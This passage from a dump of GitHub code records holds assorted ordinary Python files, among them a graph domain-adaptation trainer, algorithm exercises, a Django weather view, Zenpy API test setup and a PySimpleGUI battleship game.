Cross-Network Node Classification. In Proceedings of AAAI Conference on Artificial Intelligence (AAAI), pages 2991-2999, 2020.\"\r\n\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport tensorflow as tf\r\nimport utils\r\nfrom scipy.sparse import vstack\r\nfrom functools import partial\r\nimport scipy.io\r\nfrom scipy.sparse import lil_matrix\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.sparse import csc_matrix\r\nfrom ACDNE_model import ACDNE\r\n\r\n\r\n\r\n\r\ndef train_and_evaluate(input_data, config, random_state=0):\r\n \r\n ###get input data\r\n PPMI_s=input_data['PPMI_S']\r\n PPMI_t=input_data['PPMI_T']\r\n X_s=input_data['attrb_S']\r\n X_t=input_data['attrb_T']\r\n X_n_s= input_data['attrb_nei_S']\r\n X_n_t=input_data['attrb_nei_T']\r\n Y_s=input_data['label_S']\r\n Y_t=input_data['label_T'] \r\n Y_t_o=np.zeros(np.shape(Y_t)) #observable label matrix of target network, all zeros\r\n \r\n X_s_new=lil_matrix(np.concatenate((lil_matrix.toarray(X_s), X_n_s),axis=1)) \r\n X_t_new=lil_matrix(np.concatenate((lil_matrix.toarray(X_t), X_n_t),axis=1)) \r\n n_input = X_s.shape[1]\r\n num_class = Y_s.shape[1] \r\n num_nodes_S=X_s.shape[0]\r\n num_nodes_T=X_t.shape[0]\r\n \r\n\r\n \r\n ###model config\r\n clf_type = config['clf_type'] \r\n dropout = config['dropout'] \r\n num_epoch = config['num_epoch'] \r\n batch_size = config['batch_size']\r\n n_hidden = config['n_hidden'] \r\n n_emb = config['n_emb'] \r\n l2_w = config['l2_w'] \r\n net_pro_w = config['net_pro_w'] \r\n emb_filename = config['emb_filename'] \r\n lr_ini = config['lr_ini'] \r\n\r\n\r\n whole_xs_xt_stt = utils.csr_2_sparse_tensor_tuple(vstack([X_s, X_t])) \r\n whole_xs_xt_stt_nei = utils.csr_2_sparse_tensor_tuple(vstack([X_n_s, X_n_t]))\r\n \r\n with tf.Graph().as_default():\r\n # Set random seed\r\n tf.set_random_seed(random_state)\r\n np.random.seed(random_state)\r\n \r\n model = ACDNE(n_input, n_hidden, n_emb, num_class, clf_type, l2_w, net_pro_w, batch_size)\r\n \r\n with tf.Session() as sess:\r\n # Random initialize\r\n sess.run(tf.global_variables_initializer())\r\n\r\n\r\n for cEpoch in range(num_epoch): \r\n S_batches = utils.batch_generator([X_s_new,Y_s], int(batch_size / 2), shuffle=True)\r\n T_batches = utils.batch_generator([X_t_new,Y_t_o], int(batch_size / 2), shuffle=True) \r\n \r\n num_batch=round(max(num_nodes_S/(batch_size/2),num_nodes_T/(batch_size/2)))\r\n \r\n # Adaptation param and learning rate schedule as described in the DANN paper \r\n p=float(cEpoch) / (num_epoch)\r\n lr=lr_ini / (1. + 10 * p)**0.75 \r\n grl_lambda =2. / (1. + np.exp(-10. * p)) - 1 #gradually change from 0 to 1\r\n \r\n ##in each epoch, train all the mini batches\r\n for cBatch in range(num_batch):\r\n ### each batch, half nodes from source network, and half nodes from target network\r\n xs_ys_batch, shuffle_index_s = next(S_batches)\r\n xs_batch=xs_ys_batch[0]\r\n ys_batch =xs_ys_batch[1]\r\n \r\n xt_yt_batch, shuffle_index_t = next(T_batches)\r\n xt_batch=xt_yt_batch[0]\r\n yt_batch =xt_yt_batch[1] \r\n \r\n x_batch = vstack([xs_batch, xt_batch])\r\n batch_csr=x_batch.tocsr()\r\n xb=utils.csr_2_sparse_tensor_tuple(batch_csr[:,0:n_input])\r\n xb_nei=utils.csr_2_sparse_tensor_tuple(batch_csr[:,-n_input:]) \r\n yb = np.vstack([ys_batch, yt_batch])\r\n \r\n mask_L=np.array(np.sum(yb, axis=1)>0, dtype=np.float)#1 if the node is with observed label, 0 if the node is without label \r\n domain_label = np.vstack([np.tile([1., 0.], [batch_size // 2, 1]),np.tile([0., 1.], [batch_size // 2, 1])]) #[1,0] for source, [0,1] for target\r\n\r\n ##topological proximity matrix between nodes in each mini-batch\r\n a_s, a_t=utils.batchPPMI(batch_size,shuffle_index_s,shuffle_index_t,PPMI_s,PPMI_t)\r\n \r\n _ ,tloss= sess.run([model.train_op,model.total_loss], feed_dict={model.X: xb, model.X_nei:xb_nei, model.y_true: yb, model.d_label: domain_label, model.A_s: a_s, model.A_t: a_t, model.mask:mask_L, model.learning_rate: lr, model.Ada_lambda:grl_lambda, model.dropout:dropout})\r\n\r\n \r\n\r\n \r\n '''Compute evaluation on test data by the end of each epoch''' \r\n pred_prob_xs_xt= sess.run(model.pred_prob, feed_dict={model.X:whole_xs_xt_stt, model.X_nei:whole_xs_xt_stt_nei, model.Ada_lambda:1.0, model.dropout:0.}) \r\n pred_prob_xs=pred_prob_xs_xt[0:num_nodes_S,:]\r\n pred_prob_xt=pred_prob_xs_xt[-num_nodes_T:,:]\r\n \r\n print ('epoch: ', cEpoch+1) \r\n F1_s=utils.f1_scores(pred_prob_xs,Y_s)\r\n print('Source micro-F1: %f, macro-F1: %f' %(F1_s[0],F1_s[1])) \r\n F1_t=utils.f1_scores(pred_prob_xt,Y_t)\r\n print('Target testing micro-F1: %f, macro-F1: %f' %(F1_t[0],F1_t[1]))\r\n \r\n \r\n \r\n \r\n ''' save final evaluation on test data by the end of all epoches'''\r\n micro=float(F1_t[0])\r\n macro=float(F1_t[1]) \r\n \r\n \r\n \r\n ##save embedding features\r\n## emb= sess.run(model.emb, feed_dict={model.X: whole_xs_xt_stt, model.X_nei:whole_xs_xt_stt_nei, model.Ada_lambda:1.0, model.dropout:0.})\r\n## hs=emb[0:num_nodes_S,:]\r\n## ht=emb[-num_nodes_T:,:]\r\n## print(np.shape(hs))\r\n## print(np.shape(ht)) \r\n## scipy.io.savemat(emb_filename+'_emb.mat', {'rep_S':hs, 'rep_T':ht})\r\n\r\n \r\n \r\n return micro,macro\r\n\r\n\r\n\r\n\r\n","repo_name":"shenxiaocam/ACDNE","sub_path":"ACDNE_codes/evalModel.py","file_name":"evalModel.py","file_ext":"py","file_size_in_byte":6382,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"18"} +{"seq_id":"1074429389","text":"\n# 다리를 지나는 트럭\n\nfrom collections import deque\n\nfrom collections import deque\n\n# O(M+N)\ndef solution(bridge_length, weight, truck_weights): \n answer = 0\n bridge = deque([0] * bridge_length)\n current_weight = 0\n trucks = deque(truck_weights)\n while trucks:\n answer += 1\n current_weight -= bridge.popleft()\n if current_weight + trucks[0] <= weight: # if sum(bridge) + trucks[0] <= weight:\n current_weight += trucks[0]\n bridge.append(trucks.popleft())\n else:\n bridge.append(0)\n answer += bridge_length\n return answer\n","repo_name":"JiSuMun/Algorithm-Study","sub_path":"W02/shureeshu/42583_다리를지나는트럭.py","file_name":"42583_다리를지나는트럭.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"38042042142","text":"import phonenumbers\n\nfrom phonenumbers import timezone, geocoder, carrier\n\nnumber = input(\"enter number: +91 \")\n\nnum = phonenumbers.parse(number)\n\ntime = timezone.time_zones_for_number(num)\n\ncar = carrier.name_for_number(num,\"en\")\n\nged = geocoder.description_for_number(num,\"en\")\n\nprint(num)\nprint(time)\nprint(car)\nprint(ged)\n\n","repo_name":"Jit562/python-project","sub_path":"python_to_exe.py","file_name":"python_to_exe.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20182699225","text":"import os\nfrom glob import glob\nimport cv2\nfrom multiprocessing import pool\nfrom multiprocessing.dummy import Pool as ThreadPool\n\n# This script downscales images to 240x240 to make it faster to transmit to the cloud gpu for training\npsychic_learners_dir = os.path.split(os.getcwd())[0]\nINPUT_DIRECTORY_NAME = 'test'\nsmall_categories = [[1, 0, 7, 14, 2, 8, 5, 4, 13, 11, 15, 3, 10, 9, 6, 16, 12],\n [23, 27, 18, 20, 24, 22, 19, 26, 25, 29, 28, 17, 21, 30],\n [35, 53, 40, 39, 52, 45, 31, 51, 49, 56, 38, 34, 46, 33, \n 57, 37, 55, 32, 42, 44, 50, 36, 43, 54, 41, 47, 48]]\n\n\ndef resize_image(input_path):\n im = cv2.imread(input_path)\n small_im = cv2.resize(im, (240, 240), interpolation=cv2.INTER_AREA)\n category, filename = os.path.split(input_path)\n category = os.path.split(category)[-1]\n cv2.imwrite(os.path.join(output_directory,\n category, filename), small_im)\n\ndef resize_test_image(input_path):\n im = cv2.imread(input_path)\n small_im = cv2.resize(im, (240, 240), interpolation=cv2.INTER_AREA)\n _, filename = os.path.split(input_path)\n cv2.imwrite(os.path.join(output_directory, filename), small_im)\n\n\"\"\"\nfor n, big_category in enumerate(['beauty', 'fashion', 'mobile']):\n input_directory = os.path.join(psychic_learners_dir, 'data', 'image', INPUT_DIRECTORY_NAME, big_category)\n output_directory = os.path.join(psychic_learners_dir, 'data', 'image', INPUT_DIRECTORY_NAME + '_240x240', big_category)\n \n if not os.path.isdir(output_directory):\n for i in small_categories[n]: \n os.makedirs(os.path.join(output_directory, str(i)), exist_ok=True)\n \n\n imagesList = glob(os.path.join(input_directory, '**', '*.jpg'), recursive=True)\n pool = ThreadPool(6)\n pool.map(resize_image, imagesList)\"\"\"\n\ninput_directory = os.path.join(psychic_learners_dir, 'data', 'image', INPUT_DIRECTORY_NAME)\noutput_directory = os.path.join(psychic_learners_dir, 'data', 'image', INPUT_DIRECTORY_NAME + '_240x240')\nos.makedirs(output_directory, exist_ok=True)\nimagesList = glob(os.path.join(input_directory, '*.jpg'))\npool = ThreadPool(6)\npool.map(resize_test_image, imagesList)\n","repo_name":"sun-yitao/PsychicLearners","sub_path":"data_utils/multiprocessing_image_resize.py","file_name":"multiprocessing_image_resize.py","file_ext":"py","file_size_in_byte":2211,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"18"} +{"seq_id":"6656625854","text":"# write a program to define a set :\n# 1-add three elements to the set\n# 2-print the elements to the set\n# 3-update the set with two new elements from a list\n# 4-ask the user to remove N elemenets from the set\n# 5-ask the user whether he wants to clear or remove the set then print it\n\nthiset=set(())\nfor i in range (3):\n n=input(\"enter a number:\")\n thiset.add(n)\nprint(thiset)\n\nmylist=[5,6]\nthiset.update(mylist)\nprint(thiset)\n\na=int(input(\"remove N element:\"))\nfor i in range(a):\n thiset.pop()\nprint(thiset)\n\nb=input(\"you want to clear or remove the set:\")\nif b==\"clear\":\n thiset.clear()\n print(thiset)\nelse:\n del thiset\n print(thiset)\n","repo_name":"jinanhj/ruwwad-dst-2021-2","sub_path":"set.py","file_name":"set.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"69958209001","text":"import matplotlib.pyplot as plt \nimport math\nimport pickle\n\ndef segregate(prods,n_prods,alpha):\n\t\tS1,S2,S3,S4 = [],[],[],[]\n\t\tfor i in range(n_prods):\n\t\t\tprod = prods[i]\n\t\t\tif(prod.q>=alpha and prod.r>=0):\n\t\t\t\tS1.append(prod)\n\t\t\telif(prod.q>alpha and prod.r<0):\n\t\t\t\tS2.append(prod)\n\t\t\telif(prod.q0):\n\t\t\t\tS3.append(prod)\n\t\t\telse:\n\t\t\t\tS4.append(prod)\n\t\treturn S1,S2,S3,S4\n\ndef allocate(x,obj,quant):\n\tobj.k_rem -= quant\n\tx[obj.index] += quant\n\treturn x\n\ndef get_optimal_allocation(prods,n_prods,alpha):\n\tS1,S2,S3,S4 = segregate(prods,n_prods,alpha)\n\t# print(\"S1 : %d, S2 : %d, S3 : %d, S4 : %d\" %(len(S1),len(S2),len(S3),len(S4)))\n\tx = [0 for i in range(n_prods)]\n\td = 0\n\t\n\tfor prod in S1 :\n\t\tx = allocate(x,prod,prod.k)\n\t\td = d + prod.k*(prod.q-alpha)\n\t# print(\"After allocating to S1, excess quality : %f\" %(d))\n\n\tS2.sort(key=lambda x: x.r/(alpha-x.q))\n\tS3.sort(key=lambda x: x.r/(alpha-x.q), reverse=True)\n\n\tp,q=0,0\n\n\twhile d>0 and p=val3 :\n\t\t\tbreak\n\n\t\tratio = abs((alpha-prod2.q) / (alpha-prod3.q))\n\t\t# print(prod2.q,prod3.q,ratio)\n\t\tw2 = prod2.k_rem\n\t\tw3 = prod2.k_rem*ratio\n\t\tif(w3>prod3.k_rem):\n\t\t\t# print(\"Product 3 is the limiting manufacturer\")\n\t\t\tw3 = prod3.k_rem\n\t\t\tw2 = prod3.k_rem/ratio\n\t\t# w = min(prod1.k_rem/(alpha-prod1.q),prod2.k_rem/(alpha-prod2.q))\n\t\t# print(\"Taking the following quantities :\",w2,w3,sep=\" \")\n\t\tx = allocate(x,prod2,w2)\n\t\tx = allocate(x,prod3,w3)\n\t\tif prod2.k_rem == 0 :\n\t\t\tq += 1\n\t\tif prod3.k_rem == 0 :\n\t\t\tp += 1\n\treturn x,d\n\ndef myPlot(df,title,filepath):\n\tplt.plot(df)\n\tplt.title(title)\n\tplt.savefig(filepath+\".png\")\n\tplt.close()\n\n\ndef myPlotxy(dfx,dfy,title,filepath):\n\tplt.plot(dfx,dfy)\n\tplt.title(title)\n\tplt.savefig(filepath)\n\tplt.close()\n\n# def myPlotlog(dfy,title,filepath):\n# \tfig = plt.figure()\n# \tax = fig.add_subplot(1, 1, 1)\n# \tline, = ax.plot(dfy)\n# \tax.set_yscale('log')\n# \tplt.title(title)\n# \tplt.savefig(filepath+\".png\")\n# \tplt.close()\n\ndef myPlotlog(dfy,title,filepath):\n\tfig = plt.figure()\n\tax = fig.add_subplot(1, 1, 1)\n\tline, = ax.plot(dfy)\n\tT = len(dfy)\n\tdfx = [math.log(i+1) for i in range(T)]\n\tplt.plot(dfx,dfy)\n\tplt.title(title)\n\tplt.savefig(filepath+\".png\")\n\tplt.close()\n\ndef myPlot2(xmax,df,actualVal,title,filepath):\n\tplt.axhline(y=actualVal)\n\tplt.plot(df)\n\tplt.ylim((0,5))\n\tprint(\"Actual Value : \",actualVal)\n\tplt.title(title)\n\tplt.savefig(filepath+\".png\")\n\tplt.close()\n\ndef saveVar(var,filename):\n\twith open(filename,'wb') as f:\n\t\tpickle.dump(var,f)","repo_name":"ayushdeva/Subset-Selection","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21832322894","text":"import sqlite3\n\n\n# backend\n\n\n\ndef addStdRec(StdID, Name, Branch, Gender, DoB, Mobile,Email):\n con = sqlite3.connect(\"studentrecord.db\")\n cur = con.cursor()\n cur.execute(\"INSERT INTO studentmanagement VALUES (NULL,?,?,?,?,?,?,?) \",(StdID, Name, Branch, Gender, DoB, Mobile,Email))\n con.commit()\n con.close()\n\n\ndef deleteRec(id):\n con = sqlite3.connect(\"studentrecord.db\")\n cur = con.cursor()\n cur.execute(\"DELETE FROM studentmanagement WHERE id=?\", (id,))\n con.commit()\n con.close()\n\n\n\n\n","repo_name":"Thunderbolt9/Student-Management-system","sub_path":"backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"9163700472","text":"import base64\nimport json\n\nimport os\nimport requests\nfrom betamax import Betamax\nfrom betamax.matchers import URIMatcher\nfrom betamax_serializers.pretty_json import PrettyJSONSerializer\n\nfrom zenpy import Zenpy\n\ncred_path = os.path.expanduser(\"~/zenpy-test-credentials.json\")\n\nif os.path.exists(cred_path):\n with open(cred_path) as f:\n credentials = json.load(f)\nelse:\n credentials = {\n \"subdomain\": \"d3v-zenpydev\",\n \"email\": \"example@example.com\",\n \"token\": \"not really a token\",\n }\n\n\ndef chunk_action(iterable, action, wait_action=None, ignore_func=None, batch_size=100):\n \"\"\"\n Ensure action is executed on chunks not greater than batch_size elements.\n If the callable wait_action is not None, it will be passed the results of\n executing action.\n \"\"\"\n batch = list()\n\n def process_batch():\n batch_len = len(batch)\n result = action(batch)\n if wait_action:\n wait_action(result)\n del batch[:]\n return batch_len\n\n count = 0\n for n, item in enumerate(iterable, start=1):\n if n % batch_size == 0:\n if ignore_func and not ignore_func(item):\n batch.append(item)\n count += process_batch()\n else:\n batch.append(item)\n if batch:\n count += process_batch()\n return count\n\n\ndef setup_package():\n print(\"setup_package called\")\n\n\ndef assert_empty(iterable, message, ignore_func=None):\n if not ignore_func and len(iterable) > 0:\n raise Exception(message)\n for zenpy_object in iterable:\n if not ignore_func(zenpy_object):\n raise Exception(message)\n\n\ndef teardown_package():\n pass\n # print(\"teardown_package called\")\n # zenpy_client, recorder = configure()\n # with recorder.use_cassette(\n # cassette_name=\"teardown_package\", serialize_with=\"prettyjson\"\n # ):\n # n = chunk_action(zenpy_client.tickets(), zenpy_client.tickets.delete)\n # print(\"Deleted {} tickets\".format(n))\n # n = chunk_action(\n # zenpy_client.users(),\n # zenpy_client.users.delete,\n # ignore_func=lambda x: x.role == \"admin\",\n # )\n # print(\"Deleted {} users\".format(n))\n\n\ndef configure():\n config = Betamax.configure()\n config.cassette_library_dir = \"tests/test_api/betamax/\"\n config.default_cassette_options[\"record_mode\"] = \"once\"\n config.default_cassette_options[\"match_requests_on\"] = [\"method\", \"path_matcher\"]\n if credentials:\n auth_key, template = (\"token\", \"{}/token:{}\") if \"token\" in credentials else (\"password\", \"{}:{}\")\n config.define_cassette_placeholder(\n \"\",\n base64.b64encode(\n template.format(\n credentials[\"email\"], credentials[auth_key]\n ).encode(\"utf-8\")\n ).decode('utf-8'),\n )\n if credentials[\"subdomain\"] != \"d3v-zenpydev\":\n config.define_cassette_placeholder(\n \"d3v-zenpydev.zendesk.com\",\n \"{}.zendesk.com\".format(credentials[\"subdomain\"])\n )\n\n session = requests.Session()\n credentials[\"session\"] = session\n zenpy_client = Zenpy(**credentials)\n recorder = Betamax(session=session)\n\n class PathMatcher(URIMatcher):\n \"\"\"\n I use trial accounts for testing Zenpy and as such the subdomain is always changing.\n This matcher ignores the netloc section of the parsed URL which prevents the tests\n failing when the subdomain is changed.\n \"\"\"\n\n name = \"path_matcher\"\n\n def parse(self, uri):\n parse_result = super(PathMatcher, self).parse(uri)\n parse_result.pop(\"netloc\")\n return parse_result\n\n Betamax.register_request_matcher(PathMatcher)\n recorder.register_serializer(PrettyJSONSerializer)\n return zenpy_client, recorder\n","repo_name":"facetoe/zenpy","sub_path":"tests/test_api/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3920,"program_lang":"python","lang":"en","doc_type":"code","stars":312,"dataset":"github-code","pt":"18"} +{"seq_id":"12714823440","text":"import heapq as hq, sys\n\ninput = sys.stdin.readline\nmin_heap = []\n'''\nhint \nmin_heap에 튜플로 값을 넣으면 \n튜플의 첫번째 인자로 min 하고, 끝나면 두번째 인자로 min 비교해줌\n'''\n\nn = int(input())\nfor _ in range(n):\n x = int(input())\n if x : \n hq.heappush(min_heap, (abs(x), x))\n else:\n if min_heap:\n print(hq.heappop(min_heap)[1])\n else:\n print(\"0\")\n","repo_name":"YejinRhee/2022_2","sub_path":"BOJ/20220826_11286_again.py","file_name":"20220826_11286_again.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"36100884508","text":"from django.shortcuts import render\nfrom decouple import config\nimport requests\nfrom datetime import datetime\nfrom .forms import CityForm\nfrom django.contrib import messages\nfrom pytz import timezone\n\n\n\ndef weather(request):\n\n if request.method == 'POST':\n # create a form instance and populate it with data from the request:\n form = CityForm(request.POST)\n # check whether it's valid:\n if form.is_valid():\n try:\n city = request.POST.get('city')\n key = config('API_KEY')\n units = '&units=metric'\n url = 'https://api.openweathermap.org/data/2.5/weather?q='\n resp = requests.get(url + city + '&appid=' + key + units)\n tr = int(resp.json()['dt'])\n timefetched = (datetime.fromtimestamp(tr).strftime('%H:%M'))\n visibility = resp.json()['visibility'] / 1000\n time = datetime.now()\n\n context = {\n 'context':resp.json(),\n 'timefetched':timefetched,\n 'time':time,\n 'visibility': visibility,\n 'form': CityForm\n }\n except:\n if resp.status_code != 200:\n context = {\n 'form': CityForm\n }\n messages.warning(request, 'Please enter a valid city!') \n return render(request, 'weather/weather.html', context)\n\n\n\n else:\n try:\n city = 'Sheffield'\n key = config('API_KEY')\n units = '&units=metric'\n url = 'https://api.openweathermap.org/data/2.5/weather?q='\n resp = requests.get(url + city + units + '&appid=' + key)\n tr = int(resp.json()['dt'])\n timefetched = (datetime.fromtimestamp(tr).strftime('%H:%M'))\n visibility = resp.json()['visibility'] / 1000\n time = datetime.now()\n\n context = {\n 'context':resp.json(),\n 'timefetched':timefetched,\n 'time':time,\n 'visibility': visibility,\n 'form': CityForm\n }\n except:\n context = {\n 'form': CityForm\n }\n messages.warning(request, 'No Connection to weather service')\n return render(request, 'weather/weather.html', context)\n\n\n return render(request, 'weather/weather.html', context)\n","repo_name":"st3nic/weatherapp","sub_path":"weather/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"75191429801","text":"lst = 1, 2, 3, (4, 5)\n\na, b, c, d = lst\nprint(d) # (4, 5)\n\n# what if we need to unpack all values?\n# we need to do a deep unpacking:\n\na, b, c, (d, e) = lst\nprint(d) # 4\n\n\n# very deep unpacking 🤣\nt = 1, 2, 3, (4, (5, 6))\na, b, c, (d, (e, f)) = t\n\nprint(e, f) # 5, 6\n","repo_name":"baraahekal/python-training","sub_path":"deep_unpacking.py","file_name":"deep_unpacking.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24828641261","text":"import math\n\nserver_hostname = \"Tegas-MacBook-Pro.local\"\ndiscovery_multicastGroup = \"224.3.29.71\"\ndiscovery_multicastPort = 10010\ndiscovery_responsePort = 10011\npubsub_pubPort = 10012\npubsub_pubPort2 = 10014\n\nclient_names = [\n \"wetlands-environment-1\",\n \"wetlands-environment-2\",\n \"wetlands-environment-3\",\n]\n\nserver_names = [\n \"wetlands-controller\",\n \"avl-visual\",\n \"qua.local\",\n \"qua\",\n \"wetlands-controller.local\",\n \"avl-visual\",\n \"Tegas-MacBook-Pro.local\"\n]\n\ndashboard_names = [\n \"wetlands-controller\",\n \"wetlands-dashboard\"\n]\n","repo_name":"andycavatorta/wetlands","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37013402358","text":"import PISM\nimport time\n\n# The main code for a run follows:\nif __name__ == '__main__':\n context = PISM.Context()\n config = context.config\n com = context.com\n\n PISM.set_abort_on_sigint(True)\n\n PISM.verbPrintf(2, PISM.Context().com, \"SSA forward model.\\n\")\n usage = \\\n \"\"\" ssa_forward.py -i IN.nc -Mx number -My number [-o file.nc]\n or (at python prompt)\n run ssa_forward -i IN.nc -Mx number -My number [-o file.nc]\n where:\n -i IN.nc is input file in NetCDF format: contains PISM-written model state\n -Mx number of grid points in the x direction\n -My number of grid points in the y direction\n notes:\n * -i is required\n \"\"\"\n\n PISM.show_usage_check_req_opts(context.log, \"ssa_forward\", [\"-i\"], usage)\n\n input_file = config.get_string(\"input.file\")\n if len(input_file) == 0:\n import sys\n sys.exit(1)\n\n config.set_string(\"output.file_name\", \"ssa_forward.nc\")\n\n ssa_run = PISM.ssa.SSAFromInputFile(input_file)\n\n ssa_run.setup()\n\n solve_t0 = time.time()\n vel_ssa = ssa_run.solve()\n solve_t = time.time() - solve_t0\n\n PISM.verbPrintf(2, context.com, \"Solve time %g seconds.\\n\", solve_t)\n\n ssa_run.write(config.get_string(\"output.file_name\"))\n","repo_name":"pism/pism","sub_path":"examples/python/ssa_forward.py","file_name":"ssa_forward.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","stars":89,"dataset":"github-code","pt":"18"} +{"seq_id":"12281052774","text":"import PySimpleGUI as sg\n\n\nclass TelaOceano:\n def __init__(self):\n self.__window = None\n self.init_opcoes()\n\n def tela_opcoes(self):\n self.init_opcoes()\n while True:\n event, values = self.__window.read()\n\n if event == sg.WIN_CLOSED or event == 'Cancelar':\n opcao = None\n break\n elif any(values.values()):\n opcao = next((int(key) for key, value in values.items() if value), None)\n break\n self.close()\n return opcao\n \n def close(self):\n self.__window.Close()\n \n def init_opcoes(self):\n sg.ChangeLookAndFeel('LightBlue')\n layout = [\n [sg.Text('-------- TELA OCEANO ---------', font=(\"Helvica\",25))],\n [sg.Text('Escolha sua opção', font=(\"Helvica\",15))],\n [sg.Radio('Realizar Jogada',\"RD1\", key='1')],\n [sg.Radio('Mostrar Jogadas',\"RD1\", key='2')],\n [sg.Radio('Mostrar Meu Oceano',\"RD1\", key='3')],\n [sg.Button('Confirmar'), sg.Cancel('Cancelar')]\n ]\n self.__window = sg.Window('Jogo de Batalha Naval').Layout(layout)\n\n def posiciona_navios(self):\n layout = [\n [sg.Text('---Posicionando Navios---')],\n [sg.Text('Selecione a coordenada do eixo Y', size=(25, 1)), sg.InputText(key='y')],\n [sg.Text('Selecione a coordenada do eixo X:', size=(25, 1)), sg.InputText(key='x')],\n [sg.Submit(), sg.Cancel()]\n ]\n\n window = sg.Window('Posicionamento De Embarcacoes', layout)\n\n while True:\n event, values = window.Read()\n\n if event in (None, 'Cancel'):\n break\n\n try:\n cordenada_y = int(values['y'])\n cordenada_x = int(values['x'])\n\n if cordenada_y is None:\n raise ValueError(\"A coordenada Y não pode ser vazia.\")\n if cordenada_x is None:\n raise ValueError(\"A coordenada X não pode ser vazia.\")\n sg.popup(f\"Coordenadas selecionadas: Y={cordenada_y}, X={cordenada_x}\")\n window.close()\n return cordenada_y, cordenada_x\n \n\n except ValueError as ve:\n sg.popup_error(f\"Erro: {ve}\")\n\n window.close()\n\n def posiciona_navios_x(self):\n layout = [\n [sg.Text('---Posicionando Navios---')],\n [sg.Text('Informe as coordenadas do eixo X (separadas por espaço):', size=(40, 1)), sg.InputText(key='coordenadas')],\n [sg.Submit(), sg.Cancel()]\n ]\n\n window = sg.Window('Posicionamento De Embarcacoes', layout)\n\n while True:\n event, values = window.Read()\n\n if event in (None, 'Cancel'):\n window.close()\n return None\n\n try:\n cordenada_x = list(map(int, values['coordenadas'].split()))\n \n if not cordenada_x:\n raise ValueError(\"A coordenada X está vazia.\")\n\n sg.popup(f\"Coordenadas X informadas: {cordenada_x}\")\n window.close()\n return cordenada_x\n\n except ValueError as ve:\n sg.popup_error(f\"ERRO: {ve}\")\n\n def posiciona_navios_y(self):\n layout = [\n [sg.Text('---Posicionando Navios---')],\n [sg.Text('Informe as coordenadas do eixo Y (separadas por espaço):', size=(40, 1)), sg.InputText(key='coordenadas')],\n [sg.Submit(), sg.Cancel()]\n ]\n\n window = sg.Window('Posicionamento De Embarcacoes', layout)\n\n while True:\n event, values = window.Read()\n\n if event in (None, 'Cancel'):\n window.close()\n return None\n\n\n try:\n cordenada_y = list(map(int, values['coordenadas'].split()))\n \n if not cordenada_y:\n raise ValueError(\"A coordenada Y está vazia.\")\n\n sg.popup(f\"Coordenadas Y informadas: {cordenada_y}\")\n window.close()\n return cordenada_y\n\n except ValueError as ve:\n sg.popup_error(f\"ERRO: {ve}\")\n\n def jogada(self):\n layout = [\n [sg.Text('---Realizando Jogada---')],\n [sg.Text('Selecione a coordenada do eixo Y:', size=(30, 1)), sg.InputText(key='eixo_y')],\n [sg.Text('Selecione a coordenada do eixo X:', size=(30, 1)), sg.InputText(key='eixo_x')],\n [sg.Submit(), sg.Cancel()]\n ]\n\n window = sg.Window('Jogada', layout)\n\n while True:\n event, values = window.Read()\n\n if event in (None, 'Cancel'):\n window.close()\n return None\n\n try:\n eixo_y = int(values['eixo_y'])\n eixo_x = int(values['eixo_x'])\n\n if eixo_y is None or eixo_x is None:\n raise ValueError(\"As coordenadas não podem ser vazias.\")\n \n sg.popup(f\"Coordenadas do tiro: Y={eixo_y}, X={eixo_x}\")\n window.close()\n return eixo_y, eixo_x\n\n except ValueError as ve:\n sg.popup_error(f\"Erro: {ve}\")\n\n def mostra_mensagem(self, msg):\n sg.popup(msg)\n \n def mostrar_oceano(self, tamanho, oceano):\n layout = [\n [sg.Text('---Mostrando Oceano---')]\n ]\n\n for linha in range(tamanho):\n linha_layout = []\n for coluna in range(tamanho):\n linha_layout.append(sg.Text(f'[{oceano[linha][coluna]}]', size=(5, 1), key=f'pos_{linha}_{coluna}'))\n layout.append(linha_layout)\n\n window = sg.Window('Oceano', layout)\n\n while True:\n event, values = window.Read()\n\n if event in (None, 'Cancel'):\n break\n\n window.close()\n","repo_name":"IgorFerreira28/Batalha-Naval","sub_path":"limite/tela_oceano.py","file_name":"tela_oceano.py","file_ext":"py","file_size_in_byte":5957,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22933711017","text":"# sum of fifth powers of number's digits\n\nnum = 10\n\ntotal_sum = 0\nquantity = 0\n\nwhile True:\n num += 1\n snum = str(num)\n powers_sum = 0\n for n in snum:\n power = int(n)**5\n powers_sum += power\n if powers_sum == num:\n quantity += 1\n total_sum += num\n print(\"%d number found: %d. Total sum: %d\" % (quantity, num, total_sum))\n\n if num > 10**6:\n break\n","repo_name":"Aquarius314/Project-Euler","sub_path":"Problem30/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} 